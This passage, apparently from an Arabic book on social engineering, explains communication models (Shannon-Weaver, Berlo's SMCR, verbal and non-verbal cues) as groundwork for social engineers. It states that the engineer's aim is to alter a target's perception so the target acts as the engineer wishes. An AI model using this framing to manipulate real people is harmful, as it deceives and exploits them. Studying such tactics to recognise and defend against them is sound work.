‫ﺣﯾن أن اﻟﮭدف ﻣن اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ھﻲ اﺳﺗﺧدام اﻻﺗﺻﺎﻻت ﻟﺧﻠﻖ ھدف ﻣﺷﺗرك‪ .‬اﻻﺗﺻﺎل ھو ﻋﻣﻠﯾﺔ ﯾﺗم ﺑﻣوﺟﺑﮭﺎ وﺿﻊ اﻟﻣﻌﻠوﻣﺎت ﻓﻲ‬
‫ﺣزﻣﺔ وﻣن ﺛم ﺗﻌﺑﺋﺗﮭﺎ وﺗوﺟﯾﮭﮭﺎ ﻣن ﻗﺑل اﻟﻣرﺳل إﻟﻰ اﻟﻣﺗﻠﻘﻲ ﻋﺑر ﺑﻌض اﻟوﺳﺎﺋط‪ .‬ﺛم ﯾﺗرﺟم اﻟﻣﺗﻠﻘﻲ اﻟرﺳﺎﻟﺔ وﯾﻌطﻲ ردود ﻓﻌل ﻟﻠﻣرﺳل‪.‬‬
‫ﺗﺗطﻠب ﺟﻣﯾﻊ أﺷﻛﺎل اﻻﺗﺻﺎﻻت ﻣرﺳل‪ ،‬رﺳﺎﻟﺔ‪ ،‬وﺟﮭﺎز اﺳﺗﻘﺑﺎل‪ .‬ﻓﮭم ﻛﯾﻔﯾﺔ ﻋﻣل اﻻﺗﺻﺎﻻت أﻣرا أﺳﺎﺳﯾﺎ ﻟﺗطوﯾر ﻧﻣوذج اﻟﺗواﺻل اﻟﺳﻠﯾم‬
‫ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ‪ .‬ﻧﻣوذج اﻻﺗﺻﺎل اﻟﺧﺎص ﺑك ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ ﺗﺳﺎﻋدﻧﺎ ﻋﻠﻰ ﺗﺣدﯾد أﻓﺿل طرﯾﻘﺔ ﻟﻠﺗﺳﻠﯾم‪ ،‬وأﻓﺿل طرﯾﻘﺔ ﻟﻠوﻗوف ﻋﻠﻰ‬
‫آراﺋﮭم‪ ،‬وأﻓﺿل رﺳﺎﻟﺔ ﻟﺗﺷﻣل‪.‬‬
‫اﻻﺗﺻﺎﻻت ﯾﻣﻛن أن ﺗﺗﺧذ أﺷﻛﺎﻻ ﻣﺧﺗﻠﻔﺔ‪ .‬ھﻧﺎك وﺳﺎﺋل ﺳﻣﻌﯾﺔ‪ ،‬ﻣﺛل اﻟﻛﻼم‪ ،‬وأﻏﻧﯾﺔ‪ ،‬وﻧﺑرة اﻟﺻوت‪ ،‬وھﻧﺎك وﺳﺎﺋل ﻏﯾر اﻟﻠﻔظﻲ‪ ،‬ﻣﺛل ﻟﻐﺔ‬
‫اﻟﺟﺳد وﻟﻐﺔ اﻹﺷﺎرة‪ ،‬ﺟﻧﺎﺋب اﻟﻛﻼم‪ ،‬ﺗﻌﻣل ﺑﺎﻟﻠﻣس‪ ،‬واﺗﺻﺎل اﻟﻌﯾن‪.‬‬
‫ﺑﻐض اﻟﻧظر ﻋن ﻧوع اﻻﺗﺻﺎل اﻟﻣﺳﺗﺧدم‪ ،‬اﻟرﺳﺎﻟﺔ‪ ،‬وﻛﯾف ﯾﺗم ﺗﺳﻠﯾﻣﮭﺎ ﺳوف ﯾﻛون ﻟﮭﺎ ﺗﺄﺛﯾر واﺿﺢ ﻋﻠﻰ اﻟﻣﺗﻠﻘﻲ‪.‬‬
‫ﻓﮭم اﻟﻘواﻋد اﻷﺳﺎﺳﯾﺔ أﻣر ﺿروري ﻟﺑﻧﺎء ﻧﻣوذج ﻋن اﻟﮭدف‪ .‬ﻻ ﯾﻣﻛن ﻛﺳر ﺑﻌض اﻟﻘواﻋد‪ ،‬ﻣﺛل اﻻﺗﺻﺎﻻت داﺋﻣﺎ ﻟدﯾﮫ اﻟﻣرﺳل واﻟﻣﺗﻠﻘﻲ‪ .‬أﯾﺿﺎ‬
‫ﻛل ﺷﺧص ﻟدﯾﮫ ﺣﻘﺎﺋﻖ‪/‬اھﺗﻣﺎﻣﺎت ﻣﺧﺗﻠﻔﺔ واﻟﺗﻲ ﯾﺗم ﺑﻧﺎؤھﺎ وﺗﺗﺄﺛر ﺑﺗﺟﺎرﺑﮭم اﻟﺳﺎﺑﻘﺔ وﺗﺻوراﺗﮭم‪.‬‬
‫اﻟﺟﻣﯾﻊ ﯾدرك‪ ،‬وﯾﺻﺑﺢ ﺧﺑﯾرا‪ ،‬وﯾﻔﺳر اﻷﻣور ﺑﺷﻛل ﻣﺧﺗﻠف اﺳﺗﻧﺎدا إﻟﻰ ھذه اﻟﺣﻘﺎﺋﻖ اﻟﺷﺧﺻﯾﺔ‪ .‬وﺳوف ﯾﻧظر داﺋﻣﺎ ﻷي ﺣدث ﻣﻌﯾن ﯾﻌطﻰ ﻟﮫ‬
‫ﺑﺷﻛل ﻣﺧﺗﻠف ﻋن اﻻﺧرﯾن ﺑﺳﺑب ھذه اﻟﺣﻘﯾﻘﺔ‪ .‬إذا ﻛﺎن ﻟدﯾك أﺷﻘﺎء‪ ،‬ﻗم ﺑﻣﻣﺎرﺳﺔ ھذا اﻻﺧﺗﺑﺎر ﻹﺛﺑﺎت ھذا اطﻠب ﻣﻧﮭم ﺗﻔﺳﯾرا أو ذﻛرى ﻋن‬
‫ﺣدث ﻣﻌﯾن‪ ،‬ﻻ ﺳﯾﻣﺎ إذا ﻛﺎن ھذا اﻟﺣدث ﺣدث ﻋﺎطﻔﻲ‪ .‬ﺳﺗرى أن ﺗﻔﺳﯾرھم ﻟﮭذا اﻟﺣدث ﯾﺧﺗﻠف ﻛﺛﯾرا ﻋﻣﺎ ﺗﺗذﻛر‪.‬‬
‫ﻛل ﺷﺧص ﻋﻠﻰ ﺣد ﺳواء ﻟدﯾﮫ ﻣﺳﺎﺣﺔ ﻣﺎدﯾﺔ وﻋﻘﻠﯾﮫ ﺧﺎﺻﺔ ﺑﮫ‪ .‬اﻟﺳﻣﺎح أو ﻋدم اﻟﺳﻣﺎح ﻟدﺧول اﻟﻧﺎس اﻟﻰ ھذا اﻟﻣﺳﺎﺣﺔ اﻟﺷﺧﺻﯾﺔ أو أﻏﻼﻗﮭﺎ‬
‫ﻋﻠﻰ ﻧﻔﺳك ﺗﻛون ﺗﺑﻌﺎ ﻟﻌواﻣل ﻛﺛﯾرة‪ .‬ﻋﻧد اﻟﺗواﺻل ﻣﻊ أي ﺷﺧص ﻣﺎ ﻓﻲ أي ﻧﻣط‪ ،‬ﻓﺈﻧك ﺗﺣﺎول دﺧول اﻟﻣﺳﺎﺣﺔ اﻟﺷﺧﺻﯾﺔ‪ .‬ﻛﻣﺎ ﻓﻲ اﺗﺻﺎﻻت‬
‫اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ واﻟذي ﯾﺣﺎول ﺟﻠب ﺷﺧص آﺧر ﻓﻲ ھذه اﻟﻣﺳﺎﺣﺔ‪ ،‬ﻟﺗﺑﺎدل ھذه اﻟﺣﻘﯾﻘﺔ‪/‬اﻻھﺗﻣﺎم اﻟﺷﺧﺻﻲ‪ .‬اﻟﺗواﺻل اﻟﻔﻌﺎل ﯾﺣﺎول ﺗﺣﻘﯾﻖ‬
‫ﻣﺷﺎرﻛﺔ اﻟﺟﻣﯾﻊ ﻓﻲ اﻟﻣﺳﺎﺣﺔ اﻟﻌﻘﻠﯾﺔ ﻣﻊ ﺑﻌﺿﮭم اﻟﺑﻌض‪ .‬ھذا ﯾﺣدث ﻣﻊ ﺟﻣﯾﻊ اﻟﺗﻔﺎﻋﻼت‪ ،‬وھذا ﯾﺣدث ﻟﻌﺎﻣﺔ اﻟﻧﺎس وﻟﻛﻧﮭﺎ ﺗﻔﻌل ذﻟك ﻣن دون‬
‫اﻟﺗﻔﻛﯾر ﻓﯾﮫ‪.‬‬
‫ﻓﻲ ﻣﺟﺎل اﻻﺗﺻﺎﻻت اﻟﺷﺧﺻﯾﺔ ﯾوﺟد طﺑﻘﺗﯾن ﻣن اﻟرﺳﺎﺋل ﯾﺗم ارﺳﺎﻟﮭﺎ‪ :‬اﻟﻠﻔظﻲ واﻟﻐﯾر ﻟﻔظﻲ‪.‬‬
‫ﯾﺣﺗوي اﻟﺗواﺻل ﻋﺎدة ﻋﻠﻰ اﻟﺟزء اﻟﻠﻔظﻲ أو اﻟﻠﻐﺔ‪ ،‬ﺳواء ﻛﺎن ذﻟك ﻓﻲ اﻟﻛﻠﻣﺔ اﻟﻣﻧطوﻗﺔ‪ ،‬اﻟﻣﻛﺗوﺑﺔ‪ ،‬أو اﻟﺗﻌﺑﯾر ﻋﻧﮭﺎ‪ .‬ﻛﻣﺎ أﻧﮫ ﻋﺎدة ﯾﺣﺗوي ﻋﻠﻰ‬
‫اﻟﺟزء اﻟﻐﯾر ﻟﻔظﻲ اﻟﻣﺗﻣﺛل ﻓﻲ ﺗﻌﺑﯾرات اﻟوﺟﮫ‪ ،‬ﻟﻐﺔ اﻟﺟﺳد‪ ،‬أو ﺑﻌض اﻟرﺳﺎﺋل ﻋﻠﻰ ﻏﯾر اﻟﻠﻐﺔ ﻣﺛل اﻟرﻣوز أو اﻟﺧطوط‪.‬‬
‫ﺑﻐض اﻟﻧظر ﻋن ﻛﻣﯾﺔ ﻛل ﻧوع ﻣن اﻻﺷﺎرات )اﻟﻠﻔظﻲ أو ﻏﯾر اﻟﻠﻔظﻲ(‪ ،‬ﯾﺗم إرﺳﺎل ﺣزﻣﺔ اﻻﺗﺻﺎﻻت ھذا إﻟﻰ اﻟﻣﺗﻠﻘﻲ وﻣن ﺛم ﺗﺻﻔﯾﺗﮭﺎ ﻣن‬
‫ﺧﻼل واﻗﻌﮭﺎ اﻟﺷﺧﺻﻲ‪ .‬ﻓﺈﻧﮭﺎ ﺳوف ﺗﺷﻛل ﻣﻔﮭوم ﯾﺳﺗﻧد إﻟﻰ واﻗﻊ ﻟﮭﺎ‪ ،‬وﺑﻧﺎء ﻋﻠﻰ ذﻟك ﺳوف ﺗﺑدأ ﻓﻲ ﺗﻔﺳﯾر ھذه اﻟﺣزﻣﺔ‪ .‬ﺑﻣﺟرد ﺣل اﻟﻣﺗﻠﻘﻲ‬
‫ھذه اﻟرﺳﺎﻟﺔ ﻓﺄﻧﮫ ﯾﺑدأ ﻓﻲ ﺗﻔﻛﯾك ﻣﻌﻧﺎھﺎ‪ ،‬ﺣﺗﻰ ﻟو ﻛﺎن ھذا اﻟﻣﻌﻧﻰ ﻟﯾس ھو ﻣﺎ ﯾﻘﺻده اﻟﻣرﺳل‪ .‬اﻟﻣرﺳل ﺳوف ﯾﻌرف ﻣﺎ إذا ﻛﺎن ﺗم اﺳﺗﻼم‬
‫اﻟﺣزﻣﺔ ﺑﺎﻟطرﯾﻖ اﻟذي ﯾرﯾدھﺎ وذﻟك ﻣن ﺧﻼل إﻋطﺎء اﻟﻣﺗﻠﻘﻲ ﺣزﻣﺔ اﺗﺻﺎﻻت ﻟﻺﺷﺎرة إﻟﻰ ﻗﺑوﻟﮭﺎ أو اﻟﺣرﻣﺎن ﻣن اﻟﺣزﻣﺔ اﻷﺻﻠﯾﺔ‪.‬‬
‫اﻟﺣزﻣﺔ ھﻧﺎ ھو ﺷﻛل ﻣن أﺷﻛﺎل اﻻﺗﺻﺎل‪ :‬اﻟﻛﻠﻣﺎت أو اﻟﺣروف أو رﺳﺎﺋل اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ اﻟﻣرﺳﻠﺔ‪ .‬ﻋﻧدﻣﺎ ﯾﺣﺻل اﻟﻣﺗﻠﻘﻲ ﻋﻠﻰ اﻟرﺳﺎﻟﺔ ﯾﻘوم‬
‫ﺑﻔﻛﮭﺎ‪ .‬ﻋواﻣل ﻛﺛﯾرة ﺗﻌﺗﻣد ﻋﻠﻰ ﻛﯾﻔﯾﺔ ﺗﻔﺳﯾر ذﻟك‪ .‬ھل ھو ﻓﻲ ﻣزاج ﺟﯾد‪ ،‬ﻣزاج ﺳﻲء‪ ،‬ﺳﻌﯾد‪ ،‬ﺣزﯾن‪ ،‬ﻏﺎﺿب‪ ،‬اﻟوﺟداﻧﯾﺔ‪ ،‬ﻛل ھذه اﻷﻣور‪،‬‬
‫وﻛذﻟك اﻻﺷﺎرات اﻷﺧرى اﻟﺗﻲ ﺗﻐﯾر اﻟﺗﺻور ﺳوف ﯾﺳﺎﻋدھﺎ ﻋﻠﻰ ﻓك ھذه اﻟرﺳﺎﻟﺔ‪.‬‬
‫ھدف اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﯾﺟب أن ﯾﻛون ﻹﻋطﺎء ﻛل ﻣن اﻟﻌظﺔ اﻟﻠﻔظﯾﺔ واﻟﻐﯾر ﻟﻔظﯾﮫ ﻟﺗﻐﯾﯾر إدراك اﻟﮭدف وذﻟك ﻟﯾﻛون ﺗﺄﺛﯾر رﻏﺑﺎت ﻣﮭﻧدس‬
‫اﻻﺟﺗﻣﺎﻋﯾﺔ‪ .‬وﺗﺷﻣل ﺑﻌض اﻟﻘواﻋد اﻷﺳﺎﺳﯾﺔ ﻟﻣزﯾد ﻣن اﻟﺗواﺻل ﻣﺎ ﯾﻠﻲ‪:‬‬
‫‪ -‬ﻻ ﺗﺿﻊ أﺑدا ﻓﻲ اﻻﻋﺗﺑﺎر أن اﻟﻣﺗﻠﻘﻲ ﯾﻣﻠك ﻧﻔس اﻟواﻗﻊ‪/‬اﻟﺗﻔﻛﯾر‪/‬اﻻھﺗﻣﺎم ﻣﺛل اﻟذي ﺗﻣﻠﻛﮫ‪.‬‬
‫‪ -‬ﻻ ﺗﺿﻊ أﺑدا ﻓﻲ اﻻﻋﺗﺑﺎر أن اﻟﻣﺗﻠﻘﻲ ﺳوف ﯾﻘوم ﺑﺗﻔﺳﯾر اﻟرﺳﺎﻟﺔ ﻋﻠﻰ اﻟﻧﺣو اﻟذي ﻛﺎن اﻟﻐرض ﻣﻧﮫ‪.‬‬
‫‪ -‬اﻻﺗﺻﺎﻻت ﻟﯾﺳت ﻣطﻠﻘﺎ‪ ،‬ﺷﻲء ﻣﺣدود‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪802‬‬

‫‪ -‬أﻓﺗرض داﺋﻣﺎ أﻧﮫ ﯾوﺟد اﻟﻌدﯾد ﻣن اﻟﺣﻘﺎﺋﻖ اﻟﻣﺧﺗﻠﻔﺔ ﻛﻣﺎ أن ھﻧﺎك أﺷﺧﺎص ﻣﺧﺗﻠﻔﯾن ﯾﺷﺎرﻛون ﻓﻲ اﻻﺗﺻﺎل‪.‬‬
‫ﻣﻌرﻓﺔ ھذه اﻟﻘواﻋد ﯾﻌزز ﻛﺛﯾرا ﻣن ﻗدرة اﻻﺗﺻﺎﻻت ﻟﺗﻛون ﺟﯾدة وﻣﻔﯾدة‪.‬‬

‫ﻧﻣوذج اﻻﺗﺻﺎﻻت وﺟذوره )‪(The Communication Model And Its Roots‬‬

‫اﻻﺗﺻﺎﻻت ﺗﻌﻧﻲ إرﺳﺎل ﺣزﻣﺔ ﻣن اﻟﻣﻌﻠوﻣﺎت إﻟﻰ ﺟﮭﺎز اﻻﺳﺗﻘﺑﺎل اﻟﻣﻘﺻود‪ .‬ﻗد ﺗﺄﺗﻲ اﻟرﺳﺎﻟﺔ ﻣن ﻣﺻﺎدر ﻛﺛﯾرة ﻣﺛل اﻟﺑﺻر‪ ،‬اﻟﺻوت‪،‬‬
‫اﻟﻠﻣس‪ ،‬اﻟﺷم‪ ،‬واﻟﻛﻠﻣﺎت‪ .‬ﺗﺗم ﻣﻌﺎﻟﺟﺔ ھذه اﻟﺣزﻣﺔ ﻣن ﻗﺑل اﻟﮭدف وﺗﺳﺗﺧدم ﻟرﺳم ﺻورة ﻋﺎﻣﺔ ﻋن "ﻣﺎ ﯾﻘﺎل"‪ .‬ﯾﺳﻣﻰ ھذا اﻷﺳﻠوب ﻣن اﻟﺗﻘﯾﯾم‬
‫ﻋﻣﻠﯾﺔ اﻻﺗﺻﺎل )‪ .(communication process‬ھذه اﻟﻌﻣﻠﯾﺔ ﺗم إﯾﺿﺎﺣﮭﺎ ﻣن ﻗﺑل ﻋﻠﻣﺎء اﻻﺟﺗﻣﺎع ﻛﻠود ﺷﺎﻧون وارن وﯾﻔر ﻓﻲ ﻋﺎم ‪،1947‬‬
‫ﻋﻧدﻣﺎ وﺿﻊ ﻧﻣوذج ﺷﺎﻧون وﯾﻔر‪ ،‬واﻟﻣﻌروﻓﺔ أﯾﺿﺎ ﺑﺎﺳم "‪." the mother of all models‬‬
‫ﻧﻣوذج ﺷﺎﻧون وﯾﻔر‪ ،‬وﻓﻘﺎ ﻟوﯾﻛﯾﺑﯾدﯾﺎ‪" ،‬ﯾﺟﺳد ﻣﻔﺎھﯾم ﻣﺻدر اﻟﻣﻌﻠوﻣﺎت‪ ،‬ﺟﮭﺔ اﻟرﺳﺎﻟﺔ‪ ،‬اﻟﻣرﺳل‪ ،‬اﻹﺷﺎرة‪ ،‬اﻟﻘﻧﺎة‪ ،‬اﻟﺿوﺿﺎء‪ ،‬اﻟﻣﺗﻠﻘﻲ‪،‬‬
‫اﻟﻣﻌﻠوﻣﺎت‪ ،‬اﺣﺗﻣﺎل اﻟﺧطﺄ‪ ،‬اﻟﺗرﻣﯾز‪/‬اﻟﺗﻛوﯾد‪ ،‬ﻓك اﻟﺗﺷﻔﯾر‪ ،‬ﻣﻌدل اﻟﻣﻌﻠوﻣﺎت‪ ،‬وﻗدرة اﻟﻘﻧﺎة‪" ،‬ﻣن ﺑﯾن أﻣور أﺧرى‪.‬‬
‫ﺷﺎﻧون وﯾﻔر ﯾﻌرف ھذا اﻟﻧﻣوذج ﻋﻠﻰ ﺷﻛل رﺳم‪ ،‬ﻛﻣﺎ ھو ﻣﺑﯾن ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻲ‪.‬‬

‫ﻓﻲ ﻧﻣوذج ﺑﺳﯾط‪ ،‬واﻟﻣﻌروف أﯾﺿﺎ ﺑﺎﺳم ﻧﻣوذج اﻹرﺳﺎل )‪ (transmission model‬ﯾﺗم إرﺳﺎل اﻟﻣﻌﻠوﻣﺎت أو اﻟﻣﺣﺗوى ﻓﻲ ﺷﻛل ﻣﺎ ﻣن‬
‫اﻟﻣرﺳل إﻟﻰ اﻟوﺟﮭﺔ أو اﻟﻣﺗﻠﻘﻲ‪ .‬ھذا ﻣﻔﮭوم ﻣﺷﺗرك ﻟﻼﺗﺻﺎل ﺣﯾث ﺑﺑﺳﺎطﺔ ﺗﻌﺗﺑر اﻻﺗﺻﺎﻻت ﻛوﺳﯾﻠﺔ ﻹرﺳﺎل واﺳﺗﻘﺑﺎل اﻟﻣﻌﻠوﻣﺎت‪ .‬ﻧﻘﺎط اﻟﻘوة‬
‫ﻓﻲ ھذا اﻟﻧﻣوذج ھﻲ ﺑﺳﺎطﺗﮭﺎ‪ ،‬وﻋﻣوﻣﺗﮭﺎ‪.‬‬
‫ﺷﺎﻧون وﯾﻔر ﻗﺎم ﺑﮭﯾﻛﻠﺔ ھذا اﻟﻧﻣوذج ﻋﻠﻰ أﺳﺎس‪:‬‬
‫‪ -‬ﻣﺻدر اﻟﻣﻌﻠوﻣﺎت‪ ،‬اﻟذي ﺗﻧﺗﺞ اﻟرﺳﺎﻟﺔ‪.‬‬
‫‪ -‬ﺟﮭﺎز اﻹرﺳﺎل‪ ،‬اﻟذي ﯾﺷﻔر اﻟرﺳﺎﻟﺔ إﻟﻰ إﺷﺎرات‪.‬‬
‫‪ -‬اﻟﻘﻧﺎة‪ ،‬اﻟﺗﻲ ﯾﺗم ﺗﻛﯾﯾﻔﮭﺎ ﻟﻧﻘل اﻹﺷﺎرات‪.‬‬
‫‪ -‬ﺟﮭﺎز اﻻﺳﺗﻘﺑﺎل‪ ،‬واﻟذي "ﯾﺗرﺟم" اﻟرﺳﺎﻟﺔ ﻣن اﻹﺷﺎرة‪.‬‬
‫‪ -‬اﻟوﺟﮭﺔ‪ ،‬ﺣﯾث ﺗﺻل اﻟرﺳﺎﻟﺔ‪.‬‬
‫ﻟﻛن ھﻧﺎك ﺛﻼﺛﺔ ﻣﺳﺗوﯾﺎت ﻣن اﻟﻣﺷﺎﻛل ﻟﻼﺗﺻﺎل اﻟﻣوﺟودة داﺧل ھذه اﻟﻧظرﯾﺔ‪:‬‬
‫‪ -‬ﻣﺷﺎﻛل اﻟﺗﻘﻧﯾﺔ ﻛﯾف ﯾﻣﻛن ﺑدﻗﮫ أن ﺗﻧﺗﻘل اﻟرﺳﺎﻟﺔ؟‬
‫‪ -‬ﻣﺷﺎﻛل اﻟدﻻﻟﯾﺔ ﻛﯾف ﺑﺎﻟﺿﺑط ﯾﺗم ﻧﻘل اﻟﻣﻌﻧﻰ؟‬
‫‪ -‬ﻣﺷﺎﻛل ﻓﻌﺎﻟﯾﺔ ﻛﯾف ﺑﻔﻌﺎﻟﯾﺔ ﯾؤﺛر اﻟﻣﻌﻧﻰ ﻋﻠﻰ ﺳﻠوك اﻟﻣﺗﻠﻘﻲ؟ )ھذه اﻟﻧﻘطﺔ اﻷﺧﯾرة ﻣن اﻟﻣﮭم ﺗذﻛرھﺎ ﺑﺎﻟﻧﺳﺑﺔ ﻟﻠﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ ،‬ﺣﯾث‬
‫اﻟﮭدف ﻛﻠﮫ ﻣن اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ھو ﺧﻠﻖ اﻟﺳﻠوك اﻟذي ﯾرﯾده اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ(‪.‬‬
‫ﺑﻌد ﻣﺎ ﯾﻘرب ﻣن ‪ 15‬ﻋﺎﻣﺎ‪ ،‬ﻗﺎم ‪ David Berlo‬ﺑﺗوﺳﯾﻊ اﻟﻧﻣوذج اﻟﺧطﻰ ﻟﻼﺗﺻﺎﻻت ﻟﺷﺎﻧون وﯾﻔر وإﻧﺷﺎء ﻧﻣوذج اﻻﺗﺻﺎل ‪SMCR‬‬
‫)‪ SMCR .(Sender-Message-Channel-Receiver‬ﻗﺎم ﺑﻔﺻل اﻟﻧﻣوذج إﻟﻰ أﺟزاء واﺿﺣﺔ‪ ،‬ﻛﻣﺎ ھو ﻣﺑﯾن ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻲ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪803‬‬

‫ﯾﻣﻛﻧك اﻟﺗﻔﻛﯾر ﻓﻲ اﻻﺗﺻﺎﻻت‪ ،‬ﺑﺄﻧﮭﺎ ﻋﻣﻠﯾﺔ ﻧﻘل اﻟﻣﻌﻠوﻣﺎت واﻟﺗﻲ ﺗﺣﻛﻣﮭﺎ ﺛﻼﺛﺔ ﻣﺳﺗوﯾﺎت ﻣن اﻟﻘواﻋد‪:‬‬
‫‪ -‬اﻟﺧﺻﺎﺋص اﻟرﺳﻣﯾﺔ ﻟﻠﻌﻼﻣﺎت واﻟرﻣوز‪.‬‬
‫‪ -‬اﻟﻌﻼﻗﺎت ﺑﯾن اﻟﻌﻼﻣﺎت‪/‬اﻟﺗﻌﺑﯾرات وﻣﺳﺗﺧدﻣﯾﮭﺎ‪.‬‬
‫‪ -‬اﻟﻌﻼﻗﺎت ﺑﯾن اﻹﺷﺎرات واﻟرﻣوز وﻣﺎ ﺗﻣﺛﻠﮫ‪.‬‬
‫ﻟذﻟك‪ ،‬ﯾﻣﻛﻧك زﯾﺎدة ﺻﻘل ﺗﻌرﯾف اﻻﺗﺻﺎﻻت‪ ،‬ﺑﺎﻧﮫ اﻟﺗﻔﺎﻋل اﻻﺟﺗﻣﺎﻋﻲ ﺣﯾث ﯾﻘوم ﻣﺎ ﻻ ﯾﻘل ﻋن اﺛﻧﯾن ﻣن اﻟﻌﻣﻼء اﻟﻣﺗﻔﺎﻋﻠﯾن ﺑﻣﺷﺎرﻛﺔ ﻣﺟﻣوﻋﺔ‬
‫ﻣﺷﺗرﻛﺔ ﻣن اﻟﻌﻼﻣﺎت وﻣﺟﻣوﻋﺔ ﻣن اﻟﻘواﻋد‪.‬‬
‫ﻓﻲ ﻋﺎم ‪ 2008‬ﺑﺎﺣث آﺧر‪ ،DC Balmund ،‬ﺑﺟﺎﻧب اﻟﺑﺣوث اﻟﻌدﯾد ﻣن اﻷﻓواج اﻟﺳﺎﺑﻘﺔ ﻟﮫ ﺣﯾث ﻗﺎم ﺑﺗطوﯾر ﻧﻣوذج اﻻﺗﺻﺎل‪ ،‬ﻛﻣﺎ ھو ﻣﺑﯾن‬
‫ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻲ‪.‬‬

‫ﻓﻲ ھذا اﻟﻧﻣوذج ﯾﻣﻛﻧك أن ﺗرى أن اﻟﻘﻧﺎة واﻟرﺳﺎﻟﺔ ﯾﻣﻛﻧﮭﺎ أن ﺗﺄﺧذ أﺷﻛﺎﻻ ﻣﺗﻌددة‪ ،‬ﻟﯾس ﻓﻘط اﻟﺗﺣدث‪ ،‬ﻛﻣﺎ ھو ﻣﺑﯾن ﻓﻲ اﻟﺻورة‪ .‬ﯾﻣﻛن أن‬
‫ﺗﻛون اﻟرﺳﺎﻟﺔ ﻣﻛﺗوﺑﺔ او ﻓﯾدﯾو‪ ،‬أو ﻓﻲ ﺷﻛل اﻟﺻوت واﻟﻣﺗﻠﻘﻲ ﯾﻣﻛن أن ﯾﻛون ﺷﺧص واﺣد أو ﻛﺛﯾر ﻣن اﻟﻧﺎس‪ .‬ردود اﻟﻔﻌل أﯾﺿﺎ ﯾﻣﻛن أن‬
‫ﯾﺗﺧذ أﺷﻛﺎﻻ ﻋدﯾدة‪.‬‬
‫اﻟﺟﻣﻊ ﺑﯾن وﺗﺣﻠﯾل ھذه اﻷﺑﺣﺎث ﺗﺳﺎﻋد اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻋﻠﻰ ﺗطوﯾر ﻧﻣوذج اﻻﺗﺻﺎل )‪ .(solid communication model‬ﻻ ﯾﻣﻛن أن‬
‫ﯾﺳﺗﻔﯾد ﻣﻧﮭﺎ اﻟﻣﮭﻧدﺳﯾن اﻻﺟﺗﻣﺎﻋﯾن ﻓﻘط وﻟﻛن اﻟﺟﻣﯾﻊ ﯾﻣﻛﻧﮫ ذﻟك‪ .‬ﺗﻌﻠم ﻛﯾﻔﯾﺔ ﺗطوﯾر ﺧطﺔ ﻟﻠﺗواﺻل ﺗﻌزز اﻟطرﯾﻘﺔ اﻟﺗﻲ ﺗﻌﺎﻣل ﺑﮭﺎ زوﺟﺗك‪،‬‬
‫أوﻻدك‪ ،‬ﺻﺎﺣب اﻟﻌﻣل أو اﻟﻣوظﻔﯾن وأي ﺷﺧص ﺗﺗواﺻل ﻣﻌﮫ‪.‬‬
‫ﻷن اﻟﺗرﻛﯾز ﻓﻲ ھذا اﻟﻛﺗﺎب ﻋﻠﻰ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ ،‬ﻓﺈﻧك ﺗﺣﺗﺎج إﻟﻰ ﺗﺣﻠﯾل ﻣﺎ اﻟذي ﯾﻣﻛن ان ﯾﺄﺧذه اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻣن ﻛل ھذا‪ .‬ﺑﻌد‬
‫ﻗراءة ﻛل ھذه اﻟﻧظرﯾﺔ ﻗد ﺗﺑدأ ﻓﻲ اﻟﺗﺳﺎؤل ﻛﯾف ﯾﻣﻛن اﺳﺗﺧدام ذﻟك‪ .‬ﺗذﻛر‪ ،‬ﯾﺟب أن ﯾﻛون ﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﯾﺔ ﻋﻠﻰ درﺟﺔ اﻟﻣﺎﺟﺳﺗﯾر ﻓﻲ‬
‫اﻻﺗﺻﺎﻻت‪ .‬ﯾﺟب أن ﺗﻛون ﻗﺎدرة ﻋﻠﻰ اﻟدﺧول ﺑﺷﻛل ﻓﻌﺎل ﻓﻲ واﻟﺑﻘﺎء ﻓﻲ ﻓﺿﺎء‪/‬ﻣﺳﺎﺣﺔ اﻟﺷﺧص اﻟﺷﺧﺻﯾﺔ واﻟﻌﻘﻠﯾﺔ وذﻟك ﻟﯾس ﻟﮭدف اﻹﺳﺎءة‬
‫أو إﯾﻘﺎف اﻟﮭدف‪ .‬ﺗطوﯾر وﺗﻧﻔﯾذ وﻣﻣﺎرﺳﺔ ﻧﻣﺎذج اﻟﺗواﺻل اﻟﻔﻌﺎﻟﺔ ھو اﻟﻣﻔﺗﺎح ﻟﺗﺣﻘﯾﻖ ھذا اﻟﮭدف‪ .‬اﻟﺧطوة اﻟﺗﺎﻟﯾﺔ ﺛم ﯾﺗم وﺿﻊ ﻧﻣوذج اﻻﺗﺻﺎل‪.‬‬

‫ﺗطوﯾر ﻧﻣوذج اﻻﺗﺻﺎﻻت )‪(Developing A Communication Model‬‬

‫اﻵن ﺑﻌد اﻟﺗﻌرف ﻋﻠﻰ اﻟﻌﻧﺎﺻر اﻟرﺋﯾﺳﯾﺔ ﻟﻧﻣوذج اﻻﺗﺻﺎﻻت‪ ،‬ﻓﻧﻠﻘﻲ ﻧظرة ﻋﻠﯾﮭﺎ ﻣن ﻣﻧظور اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪:‬‬
